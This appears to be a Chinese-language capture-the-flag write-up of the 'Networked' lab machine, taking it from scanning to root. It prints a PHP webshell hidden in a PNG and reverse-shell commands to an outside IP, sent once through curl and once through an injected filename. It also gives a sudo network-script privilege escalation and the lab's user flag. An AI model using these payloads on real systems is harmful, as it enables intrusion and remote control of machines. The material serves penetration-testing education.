[Meachines] [Easy] Networked 源码泄露-Upload+Apache中间件解析漏洞+定时任务命令注入+CentOS网络配置权限提升命令注入
字数 1003 2025-08-20 18:18:23
网络安全渗透测试教学文档:Networked靶机渗透过程分析
1. 信息收集阶段
1.1 初始扫描
使用Nmap进行端口扫描:
nmap -p- 10.10.10.146 --min-rate 1000 -sC -sV
扫描结果:
- 开放端口:
- 22/tcp: OpenSSH 7.4 (protocol 2.0)
- 80/tcp: Apache httpd 2.4.6 (CentOS) PHP/5.4.16
1.2 Web目录枚举
使用Gobuster进行目录扫描:
gobuster dir -u "http://10.10.10.146/" -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x html,txt,php -b 404,403 -t 50
发现重要目录/backup,下载备份文件:
wget http://10.10.10.146/backup/backup.tar
tar xvf backup.tar
2. 漏洞利用阶段
2.1 源码审计
分析备份文件中的lib.php,发现可能存在漏洞的代码。
2.2 Apache中间件解析漏洞
Apache 2.4.x存在向上解析漏洞,可以上传恶意文件绕过限制:
- 创建恶意文件:
echo '89 50 4E 47 0D 0A 1A 0A' | xxd -p -r > shell.php.png
echo '<?php system($_GET[1]);?>' >> shell.php.png
- 访问上传的文件执行命令:
http://10.10.10.146/uploads/10_10_16_14.php.png?1=dir
- 获取反向shell:
curl 'http://10.10.10.146/uploads/10_10_16_14.php.png?1=%2fbin%2fbash+-c+%27bash+-i+%3e%26+%2fdev%2ftcp%2f10.10.16.14%2f10032+0%3e%261%27'
2.3 定时任务命令注入
分析定时任务脚本发现命令注入漏洞:
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
漏洞利用方法:
$value变量未经过滤,可通过特殊文件名注入命令- 例如创建名为
"; cmd的文件会导致执行:
nohup /bin/rm -f $path;cmd > /dev/null 2>&1 &
实际利用:
cd /var/www/html/uploads
reverse=$(echo -n 'bash -c "bash -i >/dev/tcp/10.10.16.14/10034 0>&1"' | base64)
touch -- "; echo $reverse | base64 -d | bash"
获取user.txt:
6b914b0701e297b83c7e6d052dc37247
3. 权限提升阶段
3.1 检查sudo权限
sudo -l
3.2 分析changename.sh脚本
脚本路径:/usr/local/sbin/changename.sh
脚本功能:
- 为guly0网络接口创建配置
- 使用
ifup guly0激活接口 - 输入验证只允许字母数字字符、斜杠或破折号
3.3 CentOS网络配置漏洞
漏洞原理:
- CentOS的网络配置脚本对命令注入存在漏洞
- 底层服务引用这些脚本时,空格后的内容会被执行
利用方法:
sudo /usr/local/sbin/changename.sh x /bin/bash x x x
4. 关键知识点总结
- Apache解析漏洞:利用文件扩展名解析顺序绕过上传限制
- 命令注入:通过未过滤的用户输入执行系统命令
- 定时任务漏洞:通过控制文件名实现命令注入
- 网络配置提权:利用网络服务脚本的命令注入漏洞获取root权限
- 防御措施:
- 严格过滤用户输入
- 使用安全的文件上传处理方式
- 避免在脚本中使用未过滤的系统命令调用
- 定期更新中间件和系统组件
5. 渗透测试流程总结
- 信息收集:端口扫描、目录枚举
- 漏洞发现:源码审计、中间件版本分析
- 初始访问:利用文件上传漏洞获取webshell
- 权限提升:利用定时任务和网络配置漏洞
- 后渗透:获取敏感信息,建立持久访问
通过这个案例,我们可以学习到从信息收集到权限提升的完整渗透测试流程,以及多种漏洞的综合利用方法。